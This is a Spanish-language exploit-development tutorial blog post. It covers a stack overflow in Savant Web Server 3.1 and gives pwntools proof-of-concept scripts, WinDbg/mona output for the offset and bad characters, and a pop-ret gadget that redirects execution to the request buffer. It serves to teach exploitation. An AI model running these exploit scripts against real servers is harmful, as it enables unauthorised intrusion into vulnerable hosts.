xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

EggHunters



En las explotaciones anteriores teniamos espacio suficiente para guardar el shellcode conociendo su ubicación, sin embargo hay aplicaciones con un espacio muy limitado que generalmente no es suficiente para un shellcode, aqui entra el egghunter que resumiendo su uso es un codigo mucho mas pequeño que busca el shellcode que esta en algun lugar de la memoria desconocido y lo ejecuta


Crashing Application


La aplicación que usaremos para ver esta técnica será nuevamente un programa real con un poco mas de complejidad de lo normal con la finalidad de aprender a adaptarnos a algunas restricciones, esta será Savant Web Server 3.1

Nuevamente evitaremos la detección de la vulnerabilidad para ahorrar tiempo y usaremos un exploit de exploitdb para crear nuestro poc, una pregunta podria ser ¿porque el tamaño especifico de solo 260 bytes?, lo veremos un poco mas adelante

#!/usr/bin/python3
from pwn import remote

payload = b"A" * 260

content = b"GET /" + payload + b"\r\n\r\n"  

shell = remote("Windows", 80)
shell.sendline(content)

Al ejecutar el poc podemos ver que corrompemos el programa y ahora el registro eip apunta a la dirección 0x41414141 ya que se ha desbordado algun buffer asignado

❯ python3 exploit.py
[+] Opening connection to Windows on port 80: Done  
[*] Closed connection to Windows port 80

0:000> g
(100c.1530): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00792ca0 ecx=a7da135b edx=00000000 esi=00792ca0 edi=0041703c  
eip=41414141 esp=042cea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202  
41414141 ??              ???


Find Offset


Nuestra idea es tener control sobre el registro eip pero para ello necesitamos cuantos bytes se necesitan antes de sobrescribirlo, para ello podemos usar mona y crear un patron de caracteres que nos ayudaran a encontrar esa cantidad de bytes

0:008> !py mona pattern_create 260
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 260
Creating cyclic pattern of 260 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai  
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file

Ahora cambiamos las 260 A's del payload por este patrón y enviamos el exploit

#!/usr/bin/python3
from pwn import remote

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"  

content = b"GET /" + payload + b"\r\n\r\n"

shell = remote("Windows", 80)
shell.sendline(content)

Una vez enviado el exploit el programa corrompe sin embargo ahora no apunta a 0x41414141 sino a 0x69413469 que es parte del patron de caracteres de mona

0:000> g
(1bf4.1858): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00642ca0 ecx=f62ed552 edx=00000000 esi=00642ca0 edi=0041703c  
eip=69413469 esp=0429ea1c ebp=41336941 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202  
69413469 ??              ???

Ya que sabemos esto podemos usar pattern_offset para calcular la cantidad de bytes necesarios antes de sobrescribir el registro eip, que son solo 253 bytes

0:000> !py mona pattern_offset eip
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset eip
Looking for i4Ai in pattern of 500000 bytes
 - Pattern i4Ai (0x69413469) found in cyclic pattern at position 253  
Looking for i4Ai in pattern of 500000 bytes
Looking for iA4i in pattern of 500000 bytes
 - Pattern iA4i not found in cyclic pattern (uppercase)  
Looking for i4Ai in pattern of 500000 bytes
Looking for iA4i in pattern of 500000 bytes
 - Pattern iA4i not found in cyclic pattern (lowercase)

Ya que sabemos el offset podemos enviar 253 A's hasta antes de sobrescribir el eip que lo haremos con 4 B's y enviaremos 4 C's adicionales que se deberian guardar justo donde inicia el stack por lo que el registro esp deberia apuntar a esas C's

#!/usr/bin/python3
from pwn import remote

offset = 253
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 4

payload = junk + ret + stack

content = b"GET /" + payload + b"\r\n\r\n"  

shell = remote("Windows", 80)
shell.sendline(content)

Hay un problema, cuando enviamos un payload mayor a 260 corrompemos la aplicación pero el error es diferente por lo que no tenemos control sobre el eip

0:000> g
(114c.9b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=43434343 ebx=02462ca0 ecx=00600000 edx=00600000 esi=02462ca0 edi=0041703c
eip=0040c05f esp=042fe6a8 ebp=042fea14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
Savant+0xc05f:
0040c05f 8b08            mov     ecx,dword ptr [eax]  ds:002b:43434343=????????  

Para evitar este problema quitaremos los 4 bytes que se almacenarian en el stack y veremos como se comporta el programa, por ahora nos quedamos que el espacio que tenemos para guardar instrucciones es de apenas 3 bytes que no nos sirven

#!/usr/bin/python3
from pwn import remote

offset = 253
junk = b"A" * offset

ret = b"B" * 4

payload = junk + ret

content = b"GET /" + payload + b"\r\n\r\n"  

shell = remote("Windows", 80)
shell.sendline(content)

Ahora el eip se sobrescribe con 0x42424242, al revisar los bytes del stack encontramos 2 cosas interesantes, la primera es que el primer byte del dword es un 0x00 lo que quiere decir que despues de escribir nuestra cadena escribe un null byte

0:000> g
(1f74.bf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=01fe2ca0 ecx=308ab9d2 edx=00000000 esi=01fe2ca0 edi=0041703c  
eip=42424242 esp=0429ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202  
42424242 ??              ???

0:000> dd esp L4
0429ea1c  0429fe00 0429ea74 0041703c 01fe2ca0

Lo segundo es que parecen punteros, al escribir el null byte en el primer dword este sera invalido pero al revisar que hay en el segundo podemos ver que este apunta al inicio de nuestro input, tenemos una forma de saber donde se encuentra el input

0:000> db poi(esp + 4)
0429ea74  47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00  GET.............  
0429ea84  00 00 00 00 00 00 00 00-2f 41 41 41 41 41 41 41  ......../AAAAAAA  
0429ea94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0429eaa4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0429eab4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0429eac4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0429ead4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0429eae4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  


Find Badchars


Ya que sabemos como podemos encontrar nuestro payload intentaremos detectar los badchars, igual a posts anteriores podemos iniciar creando un bytearray con mona

0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

Ya que tenemos la limitación de espacio despues de sobrescribir la dirección de retorno enviaremos los badchars al inicio del input después del metodo indicado

#!/usr/bin/python3
from pwn import remote

badchars  = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

offset = 253
junk = b"A" * (offset - len(badchars))

ret = b"B" * 4

payload = badchars + junk + ret

content = b"GET /" + payload + b"\r\n\r\n"

shell = remote("Windows", 80)
shell.sendline(content)

Hay un problema, al enviar el exploit esta vez el programa ni siquiera corrompe, ¿porque? es probable que alguno de los badchars delimiten la petición y corten la cadena por lo que ni siquiera logramos sobrescribir la dirección de retorno

0:000> g
Debuggee is running...

¿Que podemos hacer?, en realidad hay 2 opciones para identificar los badchars:

• Comentar lineas de badchars para identificar en que parte de estos el programa corrompe para descartarlos linea por linea.

• Eliminar los badchars que de acuerdo al contexto podrian darnos problemas como el 0x00, 0x0a y 0x0d que equivalen a \0, \n y \r que como vimos en posts pasados podrian tomar otra función dentro de una petición http y corromperlo.

0:000> !py mona bytearray -cpb '\x00\x0a\x0d'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray -cpb '\x00\x0a\x0d'
Generating table, excluding 3 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22"  
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42"  
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"  
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"  
"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2"  
"\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"  
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"  
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Una vez quitamos los 3 bytes que podrian darnos problemas modificamos el exploit

badchars  = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Ahora al enviar el exploit el programa corrompe y volvemos a tener el control del eip

0:000> g
(5c0.d58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=022b2ca0 ecx=8e527088 edx=00000000 esi=022b2ca0 edi=0041703c  
eip=42424242 esp=043fea1c ebp=4242fffe iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202  
42424242 ??              ???

Sabemos que el pintero en esp + 4 apunta al inicio de nuestro input, si a ese puntero le aumentamos 0x19 llegamos a la ruta donde se encuentra nuestro payload

0:000> db poi(esp + 4)
043fea74  47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00  GET.............
043fea84  00 00 00 00 00 00 00 00-2f 01 02 03 04 05 06 07  ......../.......
043fea94  08 09 0b 0c 0e 0f 10 11-12 13 14 15 16 17 18 19  ................
043feaa4  1a 1b 1c 1d 1e 1f 20 21-22 23 24 25 26 27 28 29  ...... !"#$%&'()
043feab4  2a 2b 2c 2d 2e 2f 30 31-32 33 34 35 36 37 38 39  *+,-./0123456789
043feac4  3a 3b 3c 3d 3e 3f 40 41-42 43 44 45 46 47 48 49  :;<=>?@ABCDEFGHI
043fead4  4a 4b 4c 4d 4e 4f 50 51-52 53 54 55 56 57 58 59  JKLMNOPQRSTUVWXY
043feae4  5a 5b 5c 5d 5e 5f 60 61-62 63 64 65 66 67 68 69  Z[\]^_`abcdefghi

0:000> db poi(esp + 4) + 0x19
043fea8d  01 02 03 04 05 06 07 08-09 0b 0c 0e 0f 10 11 12  ................
043fea9d  13 14 15 16 17 18 19 1a-1b 1c 1d 1e 1f 20 21 22  ............. !"
043feaad  23 24 25 26 27 28 29 2a-2b 2c 2d 2e 2f 30 31 32  #$%&'()*+,-./012
043feabd  33 34 35 36 37 38 39 3a-3b 3c 3d 3e 3f 40 41 42  3456789:;<=>?@AB
043feacd  43 44 45 46 47 48 49 4a-4b 4c 4d 4e 4f 50 51 52  CDEFGHIJKLMNOPQR
043feadd  53 54 55 56 57 58 59 5a-5b 5c 5d 5e 5f 60 61 62  STUVWXYZ[\]^_`ab
043feaed  63 64 65 66 67 68 69 6a-6b 6c 6d 6e 6f 70 71 72  cdefghijklmnopqr
043feafd  73 74 75 76 77 78 79 7a-7b 7c 7d 7e 7f 80 81 82  stuvwxyz{|}~....

Al comparar los bytes del .bin con la dirección calculada podemos ver que no se ha modificado por lo que los 3 badchars que detectamos son los unicos existentes

0:000> ? poi(esp + 4) + 0x19
Evaluate expression: 71297677 = 043fea8d

0:000> !py mona compare -f bytearray.bin -a 0x043fea8d
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f bytearray.bin -a 0x043fea8d  
[+] Reading file C:\mona\bytearray.bin...
    Read 253 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 253 bytes successfully from C:\mona\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x043fea8d | [+] Comparing with memory at location : 0x043fea8d (Stack)
0x043fea8d | !!! Hooray, normal shellcode unmodified !!!
0x043fea8d | Bytes omitted from input: 00 0a 0d


Find Opcode


Repasemos, en esp + 4 se encuentra el puntero hacia el inicio de la petición por lo que para retornar a esa dirección tenemos un par de opciones para buscar un gadget

pop ???; ret;: Eliminara 4 bytes en el primer pop para guardarlo en el registro y al ejecutar el ret saltará hacia el inicio de la petición.

add esp, 4; ret;: Parecido al anterior solo que en lugar de guardar 1 dwords en registros hace que el puntero al stack aumente en 4 bytes para ejecutar el ret.


Para encontrar un gadget que ejecute algunas de estas instrucciones primero necesitamos saber que modulos carga el programa que pertenezcan a el y no al sistema para esto podemos usar mona, solo hay 1 modulo pero con un pequeño detalle, inicia con 0x00 y esto es un badchar sin embargo como es el final del payload no nos importa que corte lo que esta delante por lo que podemos usarlo

0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false

---------- Mona command started on 2024-02-28 18:15:48 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Module criteria : ['os=false']
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
----------------------------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------  
 0x00400000 | 0x00452000 | 0x00052000 | False  | False   | False | False |  False   | False  | 3.1.0.0 [Savant.exe] (Savant.exe) 0x0
----------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

El gadget que usaremos sera pop eax para quitar 4 bytes y ret para retornar al puntero, obtenemos el opcode y buscamos dentro del modulo Savant.exe

0:000> !py mona asm -s 'pop eax # ret'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py asm -s 'pop eax # ret'
Opcode results : 
---------------- 
 pop eax = \x58
 ret = \xc3
 Full opcode : \x58\xc3 

0:000> !py mona find -s '\x58\xc3' -m savant.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py find -s '\x58\xc3' -m savant.exe

---------- Mona command started on 2024-02-28 18:16:38 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : *
    - Only querying modules savant.exe
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Treating search pattern as bin
[+] Searching from 0x00400000 to 0x00452000
[+] Preparing output file 'find.txt'
    - (Re)setting logfile C:\mona\find.txt
[+] Writing results to C:\mona\find.txt
    - Number of pointers of type ''\x58\xc3'' : 19 
[+] Results : 
0x00418674 |   0x00418674 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041924f |   0x0041924f : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x004194f6 |   0x004194f6 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x00419613 |   0x00419613 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041a531 |   0x0041a531 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041af7f |   0x0041af7f : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041b464 |   0x0041b464 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041b9fa |   0x0041b9fa : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041ba2e |   0x0041ba2e : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041c49a |   0x0041c49a : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041cc30 |   0x0041cc30 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041cce4 |   0x0041cce4 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041eb74 |   0x0041eb74 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041fe21 |   0x0041fe21 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x0041fe7e |   0x0041fe7e : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
0x00420904 |   0x00420904 : '\x58\xc3' | startnull,ascii {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0  
0x00420a1d |   0x00420a1d : '\x58\xc3' | startnull,ascii {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0  
0x00420e69 |   0x00420e69 : '\x58\xc3' | startnull,ascii {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0  
0x00420ed8 |   0x00420ed8 : '\x58\xc3' | startnull {PAGE_EXECUTE_READ} [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v3.1.0.0 (Savant.exe), 0x0
    Found a total of 19 pointers

Enviaremos A's hasta antes de sobrescribir el eip donde estara un pop eax; ret;

#!/usr/bin/python3
from pwn import remote, p32

offset = 253
junk = b"A" * offset

ret = p32(0x00418674)

payload = junk + ret

content = b"GET /" + payload + b"\r\n\r\n"  

shell = remote("Windows", 80)
shell.sendline(content)

Establecemos un breakpoint en la dirección del gadget y corremos el exploit anterior

0:000> bp 0x00418674

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c  
eip=00418674 esp=0428ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
Savant+0x18674:
00418674 58              pop     eax

Al ejecutar el pop eax; ret; el programa retorna al inicio de la petición por lo que intentará ejecutar la string del metodo GET como instrucciones ensamblador

0:000> r
eax=00000000 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c  
eip=00418674 esp=0428ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
Savant+0x18674:
00418674 58              pop     eax

0:000> p
eax=0428fe60 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c  
eip=00418675 esp=0428ea20 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
Savant+0x18675:
00418675 c3              ret

0:000> p
eax=0428fe60 ebx=020c2ca0 ecx=0000000e edx=0428e508 esi=020c2ca0 edi=0041703c  
eip=0428ea74 esp=0428ea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
0428ea74 47              inc     edi

0:000> db eip
0428ea74  47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00  GET.............
